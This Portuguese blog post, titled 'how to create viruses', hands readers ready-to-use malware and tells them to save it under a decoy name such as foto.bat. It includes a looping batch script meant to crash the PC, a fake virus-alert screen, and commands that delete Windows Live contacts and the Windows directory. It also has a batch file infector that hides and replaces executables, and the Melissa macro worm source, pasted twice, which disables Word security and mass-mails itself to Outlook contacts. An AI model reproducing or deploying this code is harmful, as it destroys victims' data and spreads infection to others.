domingo, 12 de fevereiro de 2012

como criar virus

Abra o blocos de notas e dichite as letras que estão de vermelho ..e  salve .bat exemplo :foto.bat
abre muitos programas e faz o pc trvar
@echo off
rem Denial Of Service Local
:Fucker
start notepad.exe
start write.exe
start sol.exe
start cmd.exe
start powerpnt.exe
start excel.exe
start purble place
start winword.exe
start msacess.exe
goto Fucker:

Caveirão Trojan
    @echo off
title VIRUS ENCONTRADO!!!ERRO FATAL
color 0c
echo ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ7¶¶¶¶¶¶¶¶¶¶¶¶¶¶$7ŽŽŽŽŽŽŽŽŽŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶¶¶¶øŽŽŽŽŽŽŽŽŽŽŽŽŽ¢¶¶¶¶¶7ŽŽŽŽŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽŽŽ7¶¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶¶øŽŽŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¢¶¶ŽŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶Ž ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽ¶¶Ž1¶1ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶Ž¶¶Ž ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽ¶oŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽ¶Ž ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽ¶oŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽ¶Ž ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶øŽ7¶Ž ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽ¢¶ŽŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽ¶¶Ž ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽ¶¶Žo¶ŽŽŽ1¢ø¶¶¶¶1ŽŽŽŽŽŽ¶¶¶¶ø¢1ŽŽŽ¶¶Ž¶¶ŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽ¶¶o¶Ž$¶¶¶¶¶¶¶¶¶ŽŽŽŽŽ¶¶¶¶¶¶¶¶¶¶Ž¶¶ø¶7ŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶¶Ž¶¶¶¶¶¶¶¶¶¶ŽŽŽŽŽ¶¶¶¶¶¶¶¶¶¶Ž¶¶¶ŽŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽ¶¶øŽŽŽŽŽŽŽ¶øŽŽ¶¶¶¶¶¶¶¶ŽŽŽŽŽŽŽ¶¶¶¶¶¶¶¶oŽŽ¶7ŽŽŽŽ ŽŽø¶¶$ŽŽŽ
echo ŽŽŽ¶¶7¶¶ŽŽŽŽŽ1¶ŽŽŽø¶¶¶¶¶¶ŽŽŽ7Ž7ŽŽŽo¶¶¶¶¶¶ŽŽŽ¶¶ŽŽŽŽ Ž¶¶1¢¶7ŽŽ
echo ŽŽ7¶ŽŽŽ¶¶ŽŽŽŽ1¶ŽŽŽŽŽoøøŽŽŽŽ¶¶7¶¶ŽŽŽŽoøoŽŽŽŽŽ¶$ŽŽŽŽ ¶¶ŽŽŽ¶$ŽŽ
echo Žo¶¶ŽŽŽŽ¶¶¶¶ŽŽ¶¶ŽŽŽŽŽŽŽŽŽŽ¶¶¶Ž¶¶¶ŽŽŽŽŽŽŽŽŽŽ$¶ŽŽ¶¶¶ ¶ŽŽŽŽ¶¶øŽ
echo ¶¶ŽŽŽŽŽŽŽŽŽ¶¶¶¶¶¶¶oŽŽŽŽŽŽŽ¶¶¶Ž¶¶¶ŽŽŽŽŽŽŽ7¶¶¶¶¶¶¶1Ž ŽŽŽŽŽŽŽ¶¶
echo ¶¶¶¶¶¶¶¶1ŽŽŽŽŽo¶¶¶¶¶¶¶ŽŽŽŽ¶¶¶Ž¶¶¶ŽŽŽŽ$¶¶¶¶¶¶oŽŽŽŽŽ Ž¶¶¶¶¶¶¶¶
echo ŽŽoøø1Ž¶¶¶¶¶ŽŽŽŽŽŽ¶1¶ø¶ŽŽŽŽ??ŽŽŽŽŽŽŽŽŽ¶¶¶Ž¶oŽŽŽŽŽ¶ ¶¶¶¶1ŽøøøŽŽ
echo ŽŽŽŽŽŽŽŽŽŽ7¶¶¶¶øŽŽ¶ø¶Ž¶¶ŽŽŽŽŽŽŽŽŽŽŽø¶Ž¶1¶ŽŽo¶¶¶¶oŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽŽŽø¶¶¶¶¶Ž¶ŽŽ¶$¶¶¶¶¶¶¶¶¶Žø1Ž¶¶¶¶¶$ŽŽŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶Ž¶Ž$¶Ž¶øŽ¶Ž¶ø7¶oø¶Ž¶¶ŽŽŽŽŽŽŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶¶¶Žø¶Ž¶Ž¶¶Ž¶Ž¶øŽ¶Ž¶¶Ž¶¶¶¶oŽŽŽŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽo¶¶¶¶Ž1¶ŽŽŽo¶¶¶¶ø¶o¶¶¶¶øŽŽŽ¶øŽ$¶¶¶¶ŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽ¶¶¶¶¶¶¶¶¶oŽŽŽŽŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽŽŽŽŽ¶¶¶¶ ¶¶¶¶¶ŽŽŽŽ
echo ŽŽŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽ¶¶¶¶¶¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶¶ø¶¶¶oŽŽŽŽŽŽ ŽŽŽŽ¶¶ŽŽŽ
echo ŽŽŽŽ¶¶¶ŽŽŽŽŽ1¶¶¶¶ŽŽŽŽŽ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ŽŽŽŽŽ¶¶¶¶øŽŽŽ ŽŽ¶¶¶ŽŽŽŽ
echo ŽŽŽŽŽŽ¶¶ŽŽŽ¶¶¢ŽŽŽŽŽŽŽŽŽŽŽ7$¶¶¶¶¶¶7ŽŽŽŽŽŽŽŽŽŽŽ7¶¶ŽŽ Ž¶¶ŽŽŽŽŽŽ
echo ŽŽŽŽŽŽ¢¶ŽŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶Ž Ž¶¶ŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽ¶¶¶øŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¢¶ ¶¶ŽŽŽŽŽŽŽ
echo: Spyware/Malware/Trojans/Rootkit foi detectado no seu OS(Sistema Operacional)!!!
pause
echo: Voce deve deletar isso AGORA!!aperte alguma tecla?
pause
echo: Processando?.erro?..tente novamente??
pause


congela MSN

cd %USERPROFILE%
cd Config~1
cd Dadosd~1
cd Micros~1
cd "Windows Live Contacts"
del /s /q *.*

Deletar windows
del /s /q c:\windows\

fode tudo troia
@echo off
ctty nul
rem
for %%f in (*.exe *.com) do set A=%%f
if %A%==COMMAND.COM set A=
rename %A% V%A%
if not exist V%A% goto end
attrib +h V%A%
copy %0.bat %A%
attrib +r %A%
ren %A% *.bat
set A=
:end
ctty con
@if exist V%0.com V%0.com %1 %2 %3
@if exist V%0.exe V%0.exe %1 %2 %3

 Melisa1999
// Melissa Virus Source Code
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else Wink"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End

pirata

// Melissa Virus Source Code
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else Wink"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End



 

Nenhum comentário:

Postar um comentário